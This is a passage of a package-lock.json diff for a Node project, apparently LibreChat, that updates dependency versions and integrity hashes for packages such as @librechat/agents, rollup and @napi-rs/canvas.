+ "ansi-styles": "^5.2.0",
+ "react-is": "^18.3.1"
+ },
+ "engines": {
+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
+ }
+ },
+ "node_modules/@jest/fake-timers/node_modules/slash": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+ "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=8"
}
},
"node_modules/@jest/get-type": {
@@ -10655,7 +11783,7 @@
"license": "MIT",
"dependencies": {
"@anthropic-ai/sdk": "^0.65.0",
- "fast-xml-parser": "^4.4.1"
+ "fast-xml-parser": "5.3.8"
},
"engines": {
"node": ">=18"
@@ -11196,9 +12324,9 @@
}
},
"node_modules/@librechat/agents": {
- "version": "3.1.50",
- "resolved": "https://registry.npmjs.org/@librechat/agents/-/agents-3.1.50.tgz",
- "integrity": "sha512-+gdfUJ7X3PJ20/c+8lETY68D6QpxFlCIlGUQBF4A8VKv+Po9J/TO5rWE+OmzmPByYpye7GrcxVCBLfRTvZKraw==",
+ "version": "3.1.56",
+ "resolved": "https://registry.npmjs.org/@librechat/agents/-/agents-3.1.56.tgz",
+ "integrity": "sha512-HJJwRnLM4XKpTWB4/wPDJR+iegyKBVUwqj7A8QHqzEcHzjKJDTr3wBPxZVH1tagGr6/mbbnErOJ14cH1OSNmpA==",
"license": "MIT",
"dependencies": {
"@anthropic-ai/sdk": "^0.73.0",
@@ -11218,6 +12346,8 @@
"@langfuse/otel": "^4.3.0",
"@langfuse/tracing": "^4.3.0",
"@opentelemetry/sdk-node": "^0.207.0",
+ "@scarf/scarf": "^1.4.0",
+ "ai-tokenizer": "^1.0.6",
"axios": "^1.13.5",
"cheerio": "^1.0.0",
"dotenv": "^16.4.7",
@@ -11277,9 +12407,9 @@
}
},
"node_modules/@mermaid-js/parser": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.0.0.tgz",
- "integrity": "sha512-vvK0Hi/VWndxoh03Mmz6wa1KDriSPjS2XMZL/1l19HFwygiObEEoEwSDxOqyLzzAI6J2PU3261JjTMTO7x+BPw==",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/@mermaid-js/parser/-/parser-1.0.1.tgz",
+ "integrity": "sha512-opmV19kN1JsK0T6HhhokHpcVkqKpF+x2pPDKKM2ThHtZAB5F4PROopk0amuVYK5qMrIA4erzpNm8gmPNJgMDxQ==",
"license": "MIT",
"dependencies": {
"langium": "^4.0.0"
@@ -11323,9 +12453,9 @@
}
},
"node_modules/@modelcontextprotocol/sdk": {
- "version": "1.26.0",
- "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.26.0.tgz",
- "integrity": "sha512-Y5RmPncpiDtTXDbLKswIJzTqu2hyBKxTNsgKqKclDbhIgg1wgtf1fRuvxgTnRfcnxtvvgbIEcqUOzZrJ6iSReg==",
+ "version": "1.27.1",
+ "resolved": "https://registry.npmjs.org/@modelcontextprotocol/sdk/-/sdk-1.27.1.tgz",
+ "integrity": "sha512-sr6GbP+4edBwFndLbM60gf07z0FQ79gaExpnsjMGePXqFcSSb7t6iscpjk9DhFhwd+mTEQrzNafGP8/iGGFYaA==",
"license": "MIT",
"dependencies": {
"@hono/node-server": "^1.19.9",
@@ -11371,6 +12501,29 @@
"url": "https://github.com/sponsors/panva"
}
},
+ "node_modules/@monaco-editor/loader": {
+ "version": "1.7.0",
+ "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.7.0.tgz",
+ "integrity": "sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==",
+ "license": "MIT",
+ "dependencies": {
+ "state-local": "^1.0.6"
+ }
+ },
+ "node_modules/@monaco-editor/react": {
+ "version": "4.7.0",
+ "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.7.0.tgz",
+ "integrity": "sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==",
+ "license": "MIT",
+ "dependencies": {
+ "@monaco-editor/loader": "^1.5.0"
+ },
+ "peerDependencies": {
+ "monaco-editor": ">= 0.25.0 < 1",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0",
+ "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+ }
+ },
"node_modules/@mongodb-js/saslprep": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/@mongodb-js/saslprep/-/saslprep-1.3.1.tgz",
@@ -11380,6 +12533,256 @@
"sparse-bitfield": "^3.0.3"
}
},
+ "node_modules/@napi-rs/canvas": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas/-/canvas-0.1.88.tgz",
+ "integrity": "sha512-/p08f93LEbsL5mDZFQ3DBxcPv/I4QG9EDYRRq1WNlCOXVfAHBTHMSVMwxlqG/AtnSfUr9+vgfN7MKiyDo0+Weg==",
+ "license": "MIT",
+ "optional": true,
+ "workspaces": [
+ "e2e/*"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ },
+ "optionalDependencies": {
+ "@napi-rs/canvas-android-arm64": "0.1.88",
+ "@napi-rs/canvas-darwin-arm64": "0.1.88",
+ "@napi-rs/canvas-darwin-x64": "0.1.88",
+ "@napi-rs/canvas-linux-arm-gnueabihf": "0.1.88",
+ "@napi-rs/canvas-linux-arm64-gnu": "0.1.88",
+ "@napi-rs/canvas-linux-arm64-musl": "0.1.88",
+ "@napi-rs/canvas-linux-riscv64-gnu": "0.1.88",
+ "@napi-rs/canvas-linux-x64-gnu": "0.1.88",
+ "@napi-rs/canvas-linux-x64-musl": "0.1.88",
+ "@napi-rs/canvas-win32-arm64-msvc": "0.1.88",
+ "@napi-rs/canvas-win32-x64-msvc": "0.1.88"
+ }
+ },
+ "node_modules/@napi-rs/canvas-android-arm64": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-android-arm64/-/canvas-android-arm64-0.1.88.tgz",
+ "integrity": "sha512-KEaClPnZuVxJ8smUWjV1wWFkByBO/D+vy4lN+Dm5DFH514oqwukxKGeck9xcKJhaWJGjfruGmYGiwRe//+/zQQ==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "android"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-darwin-arm64": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-arm64/-/canvas-darwin-arm64-0.1.88.tgz",
+ "integrity": "sha512-Xgywz0dDxOKSgx3eZnK85WgGMmGrQEW7ZLA/E7raZdlEE+xXCozobgqz2ZvYigpB6DJFYkqnwHjqCOTSDGlFdg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-darwin-x64": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-x64/-/canvas-darwin-x64-0.1.88.tgz",
+ "integrity": "sha512-Yz4wSCIQOUgNucgk+8NFtQxQxZV5NO8VKRl9ePKE6XoNyNVC8JDqtvhh3b3TPqKK8W5p2EQpAr1rjjm0mfBxdg==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "darwin"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-linux-arm-gnueabihf": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm-gnueabihf/-/canvas-linux-arm-gnueabihf-0.1.88.tgz",
+ "integrity": "sha512-9gQM2SlTo76hYhxHi2XxWTAqpTOb+JtxMPEIr+H5nAhHhyEtNmTSDRtz93SP7mGd2G3Ojf2oF5tP9OdgtgXyKg==",
+ "cpu": [
+ "arm"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-linux-arm64-gnu": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-gnu/-/canvas-linux-arm64-gnu-0.1.88.tgz",
+ "integrity": "sha512-7qgaOBMXuVRk9Fzztzr3BchQKXDxGbY+nwsovD3I/Sx81e+sX0ReEDYHTItNb0Je4NHbAl7D0MKyd4SvUc04sg==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-linux-arm64-musl": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-musl/-/canvas-linux-arm64-musl-0.1.88.tgz",
+ "integrity": "sha512-kYyNrUsHLkoGHBc77u4Unh067GrfiCUMbGHC2+OTxbeWfZkPt2o32UOQkhnSswKd9Fko/wSqqGkY956bIUzruA==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-linux-riscv64-gnu": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-riscv64-gnu/-/canvas-linux-riscv64-gnu-0.1.88.tgz",
+ "integrity": "sha512-HVuH7QgzB0yavYdNZDRyAsn/ejoXB0hn8twwFnOqUbCCdkV+REna7RXjSR7+PdfW0qMQ2YYWsLvVBT5iL/mGpw==",
+ "cpu": [
+ "riscv64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-linux-x64-gnu": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-gnu/-/canvas-linux-x64-gnu-0.1.88.tgz",
+ "integrity": "sha512-hvcvKIcPEQrvvJtJnwD35B3qk6umFJ8dFIr8bSymfrSMem0EQsfn1ztys8ETIFndTwdNWJKWluvxztA41ivsEw==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-linux-x64-musl": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-musl/-/canvas-linux-x64-musl-0.1.88.tgz",
+ "integrity": "sha512-eSMpGYY2xnZSQ6UxYJ6plDboxq4KeJ4zT5HaVkUnbObNN6DlbJe0Mclh3wifAmquXfrlgTZt6zhHsUgz++AK6g==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-win32-arm64-msvc": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-arm64-msvc/-/canvas-win32-arm64-msvc-0.1.88.tgz",
+ "integrity": "sha512-qcIFfEgHrchyYqRrxsCeTQgpJZ/GqHiqPcU/Fvw/ARVlQeDX1VyFH+X+0gCR2tca6UJrq96vnW+5o7buCq+erA==",
+ "cpu": [
+ "arm64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
+ "node_modules/@napi-rs/canvas-win32-x64-msvc": {
+ "version": "0.1.88",
+ "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-x64-msvc/-/canvas-win32-x64-msvc-0.1.88.tgz",
+ "integrity": "sha512-ROVqbfS4QyZxYkqmaIBBpbz/BQvAR+05FXM5PAtTYVc0uyY8Y4BHJSMdGAaMf6TdIVRsQsiq+FG/dH9XhvWCFQ==",
+ "cpu": [
+ "x64"
+ ],
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "win32"
+ ],
+ "engines": {
+ "node": ">= 10"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/Brooooooklyn"
+ }
+ },
"node_modules/@napi-rs/wasm-runtime": {
"version": "0.2.12",
"resolved": "https://registry.npmjs.org/@napi-rs/wasm-runtime/-/wasm-runtime-0.2.12.tgz",
@@ -17546,6 +18949,13 @@
}
}
},
+ "node_modules/@rolldown/pluginutils": {
+ "version": "1.0.0-rc.3",
+ "resolved": "https://registry.npmjs.org/@rolldown/pluginutils/-/pluginutils-1.0.0-rc.3.tgz",
+ "integrity": "sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==",
+ "dev": true,
+ "license": "MIT"
+ },
"node_modules/@rollup/plugin-alias": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/@rollup/plugin-alias/-/plugin-alias-5.1.0.tgz",
@@ -17784,9 +19194,9 @@
}
},
"node_modules/@rollup/rollup-android-arm-eabi": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.37.0.tgz",
- "integrity": "sha512-l7StVw6WAa8l3vA1ov80jyetOAEo1FtHvZDbzXDO/02Sq/QVvqlHkYoFwDJPIMj0GKiistsBudfx5tGFnwYWDQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm-eabi/-/rollup-android-arm-eabi-4.59.0.tgz",
+ "integrity": "sha512-upnNBkA6ZH2VKGcBj9Fyl9IGNPULcjXRlg0LLeaioQWueH30p6IXtJEbKAgvyv+mJaMxSm1l6xwDXYjpEMiLMg==",
"cpu": [
"arm"
],
@@ -17798,9 +19208,9 @@
]
},
"node_modules/@rollup/rollup-android-arm64": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.37.0.tgz",
- "integrity": "sha512-6U3SlVyMxezt8Y+/iEBcbp945uZjJwjZimu76xoG7tO1av9VO691z8PkhzQ85ith2I8R2RddEPeSfcbyPfD4hA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.59.0.tgz",
+ "integrity": "sha512-hZ+Zxj3SySm4A/DylsDKZAeVg0mvi++0PYVceVyX7hemkw7OreKdCvW2oQ3T1FMZvCaQXqOTHb8qmBShoqk69Q==",
"cpu": [
"arm64"
],
@@ -17812,9 +19222,9 @@
]
},
"node_modules/@rollup/rollup-darwin-arm64": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.37.0.tgz",
- "integrity": "sha512-+iTQ5YHuGmPt10NTzEyMPbayiNTcOZDWsbxZYR1ZnmLnZxG17ivrPSWFO9j6GalY0+gV3Jtwrrs12DBscxnlYA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.59.0.tgz",
+ "integrity": "sha512-W2Psnbh1J8ZJw0xKAd8zdNgF9HRLkdWwwdWqubSVk0pUuQkoHnv7rx4GiF9rT4t5DIZGAsConRE3AxCdJ4m8rg==",
"cpu": [
"arm64"
],
@@ -17826,9 +19236,9 @@
]
},
"node_modules/@rollup/rollup-darwin-x64": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.37.0.tgz",
- "integrity": "sha512-m8W2UbxLDcmRKVjgl5J/k4B8d7qX2EcJve3Sut7YGrQoPtCIQGPH5AMzuFvYRWZi0FVS0zEY4c8uttPfX6bwYQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.59.0.tgz",
+ "integrity": "sha512-ZW2KkwlS4lwTv7ZVsYDiARfFCnSGhzYPdiOU4IM2fDbL+QGlyAbjgSFuqNRbSthybLbIJ915UtZBtmuLrQAT/w==",
"cpu": [
"x64"
],
@@ -17840,9 +19250,9 @@
]
},
"node_modules/@rollup/rollup-freebsd-arm64": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.37.0.tgz",
- "integrity": "sha512-FOMXGmH15OmtQWEt174v9P1JqqhlgYge/bUjIbiVD1nI1NeJ30HYT9SJlZMqdo1uQFyt9cz748F1BHghWaDnVA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-arm64/-/rollup-freebsd-arm64-4.59.0.tgz",
+ "integrity": "sha512-EsKaJ5ytAu9jI3lonzn3BgG8iRBjV4LxZexygcQbpiU0wU0ATxhNVEpXKfUa0pS05gTcSDMKpn3Sx+QB9RlTTA==",
"cpu": [
"arm64"
],
@@ -17854,9 +19264,9 @@
]
},
"node_modules/@rollup/rollup-freebsd-x64": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.37.0.tgz",
- "integrity": "sha512-SZMxNttjPKvV14Hjck5t70xS3l63sbVwl98g3FlVVx2YIDmfUIy29jQrsw06ewEYQ8lQSuY9mpAPlmgRD2iSsA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-freebsd-x64/-/rollup-freebsd-x64-4.59.0.tgz",
+ "integrity": "sha512-d3DuZi2KzTMjImrxoHIAODUZYoUUMsuUiY4SRRcJy6NJoZ6iIqWnJu9IScV9jXysyGMVuW+KNzZvBLOcpdl3Vg==",
"cpu": [
"x64"
],
@@ -17868,9 +19278,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm-gnueabihf": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.37.0.tgz",
- "integrity": "sha512-hhAALKJPidCwZcj+g+iN+38SIOkhK2a9bqtJR+EtyxrKKSt1ynCBeqrQy31z0oWU6thRZzdx53hVgEbRkuI19w==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.59.0.tgz",
+ "integrity": "sha512-t4ONHboXi/3E0rT6OZl1pKbl2Vgxf9vJfWgmUoCEVQVxhW6Cw/c8I6hbbu7DAvgp82RKiH7TpLwxnJeKv2pbsw==",
"cpu": [
"arm"
],
@@ -17882,9 +19292,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm-musleabihf": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.37.0.tgz",
- "integrity": "sha512-jUb/kmn/Gd8epbHKEqkRAxq5c2EwRt0DqhSGWjPFxLeFvldFdHQs/n8lQ9x85oAeVb6bHcS8irhTJX2FCOd8Ag==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.59.0.tgz",
+ "integrity": "sha512-CikFT7aYPA2ufMD086cVORBYGHffBo4K8MQ4uPS/ZnY54GKj36i196u8U+aDVT2LX4eSMbyHtyOh7D7Zvk2VvA==",
"cpu": [
"arm"
],
@@ -17896,9 +19306,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm64-gnu": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.37.0.tgz",
- "integrity": "sha512-oNrJxcQT9IcbcmKlkF+Yz2tmOxZgG9D9GRq+1OE6XCQwCVwxixYAa38Z8qqPzQvzt1FCfmrHX03E0pWoXm1DqA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.59.0.tgz",
+ "integrity": "sha512-jYgUGk5aLd1nUb1CtQ8E+t5JhLc9x5WdBKew9ZgAXg7DBk0ZHErLHdXM24rfX+bKrFe+Xp5YuJo54I5HFjGDAA==",
"cpu": [
"arm64"
],
@@ -17910,9 +19320,9 @@
]
},
"node_modules/@rollup/rollup-linux-arm64-musl": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.37.0.tgz",
- "integrity": "sha512-pfxLBMls+28Ey2enpX3JvjEjaJMBX5XlPCZNGxj4kdJyHduPBXtxYeb8alo0a7bqOoWZW2uKynhHxF/MWoHaGQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.59.0.tgz",
+ "integrity": "sha512-peZRVEdnFWZ5Bh2KeumKG9ty7aCXzzEsHShOZEFiCQlDEepP1dpUl/SrUNXNg13UmZl+gzVDPsiCwnV1uI0RUA==",
"cpu": [
"arm64"
],
@@ -17923,10 +19333,10 @@
"linux"
]
},
- "node_modules/@rollup/rollup-linux-loongarch64-gnu": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loongarch64-gnu/-/rollup-linux-loongarch64-gnu-4.37.0.tgz",
- "integrity": "sha512-yCE0NnutTC/7IGUq/PUHmoeZbIwq3KRh02e9SfFh7Vmc1Z7atuJRYWhRME5fKgT8aS20mwi1RyChA23qSyRGpA==",
+ "node_modules/@rollup/rollup-linux-loong64-gnu": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-gnu/-/rollup-linux-loong64-gnu-4.59.0.tgz",
+ "integrity": "sha512-gbUSW/97f7+r4gHy3Jlup8zDG190AuodsWnNiXErp9mT90iCy9NKKU0Xwx5k8VlRAIV2uU9CsMnEFg/xXaOfXg==",
"cpu": [
"loong64"
],
@@ -17937,10 +19347,38 @@
"linux"
]
},
- "node_modules/@rollup/rollup-linux-powerpc64le-gnu": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.37.0.tgz",
- "integrity": "sha512-NxcICptHk06E2Lh3a4Pu+2PEdZ6ahNHuK7o6Np9zcWkrBMuv21j10SQDJW3C9Yf/A/P7cutWoC/DptNLVsZ0VQ==",
+ "node_modules/@rollup/rollup-linux-loong64-musl": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-loong64-musl/-/rollup-linux-loong64-musl-4.59.0.tgz",
+ "integrity": "sha512-yTRONe79E+o0FWFijasoTjtzG9EBedFXJMl888NBEDCDV9I2wGbFFfJQQe63OijbFCUZqxpHz1GzpbtSFikJ4Q==",
+ "cpu": [
+ "loong64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-gnu": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-gnu/-/rollup-linux-ppc64-gnu-4.59.0.tgz",
+ "integrity": "sha512-sw1o3tfyk12k3OEpRddF68a1unZ5VCN7zoTNtSn2KndUE+ea3m3ROOKRCZxEpmT9nsGnogpFP9x6mnLTCaoLkA==",
+ "cpu": [
+ "ppc64"
+ ],
+ "dev": true,
+ "license": "MIT",
+ "optional": true,
+ "os": [
+ "linux"
+ ]
+ },
+ "node_modules/@rollup/rollup-linux-ppc64-musl": {
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-ppc64-musl/-/rollup-linux-ppc64-musl-4.59.0.tgz",
+ "integrity": "sha512-+2kLtQ4xT3AiIxkzFVFXfsmlZiG5FXYW7ZyIIvGA7Bdeuh9Z0aN4hVyXS/G1E9bTP/vqszNIN/pUKCk/BTHsKA==",
"cpu": [
"ppc64"
],
@@ -17952,9 +19390,9 @@
]
},
"node_modules/@rollup/rollup-linux-riscv64-gnu": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.37.0.tgz",
- "integrity": "sha512-PpWwHMPCVpFZLTfLq7EWJWvrmEuLdGn1GMYcm5MV7PaRgwCEYJAwiN94uBuZev0/J/hFIIJCsYw4nLmXA9J7Pw==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.59.0.tgz",
+ "integrity": "sha512-NDYMpsXYJJaj+I7UdwIuHHNxXZ/b/N2hR15NyH3m2qAtb/hHPA4g4SuuvrdxetTdndfj9b1WOmy73kcPRoERUg==",
"cpu": [
"riscv64"
],
@@ -17966,9 +19404,9 @@
]
},
"node_modules/@rollup/rollup-linux-riscv64-musl": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.37.0.tgz",
- "integrity": "sha512-DTNwl6a3CfhGTAOYZ4KtYbdS8b+275LSLqJVJIrPa5/JuIufWWZ/QFvkxp52gpmguN95eujrM68ZG+zVxa8zHA==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-musl/-/rollup-linux-riscv64-musl-4.59.0.tgz",
+ "integrity": "sha512-nLckB8WOqHIf1bhymk+oHxvM9D3tyPndZH8i8+35p/1YiVoVswPid2yLzgX7ZJP0KQvnkhM4H6QZ5m0LzbyIAg==",
"cpu": [
"riscv64"
],
@@ -17980,9 +19418,9 @@
]
},
"node_modules/@rollup/rollup-linux-s390x-gnu": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.37.0.tgz",
- "integrity": "sha512-hZDDU5fgWvDdHFuExN1gBOhCuzo/8TMpidfOR+1cPZJflcEzXdCy1LjnklQdW8/Et9sryOPJAKAQRw8Jq7Tg+A==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.59.0.tgz",
+ "integrity": "sha512-oF87Ie3uAIvORFBpwnCvUzdeYUqi2wY6jRFWJAy1qus/udHFYIkplYRW+wo+GRUP4sKzYdmE1Y3+rY5Gc4ZO+w==",
"cpu": [
"s390x"
],
@@ -17994,9 +19432,9 @@
]
},
"node_modules/@rollup/rollup-linux-x64-gnu": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.37.0.tgz",
- "integrity": "sha512-pKivGpgJM5g8dwj0ywBwe/HeVAUSuVVJhUTa/URXjxvoyTT/AxsLTAbkHkDHG7qQxLoW2s3apEIl26uUe08LVQ==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.59.0.tgz",
+ "integrity": "sha512-3AHmtQq/ppNuUspKAlvA8HtLybkDflkMuLK4DPo77DfthRb71V84/c4MlWJXixZz4uruIH4uaa07IqoAkG64fg==",
"cpu": [
"x64"
],
@@ -18008,9 +19446,9 @@
]
},
"node_modules/@rollup/rollup-linux-x64-musl": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.37.0.tgz",
- "integrity": "sha512-E2lPrLKE8sQbY/2bEkVTGDEk4/49UYRVWgj90MY8yPjpnGBQ+Xi1Qnr7b7UIWw1NOggdFQFOLZ8+5CzCiz143w==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.59.0.tgz",
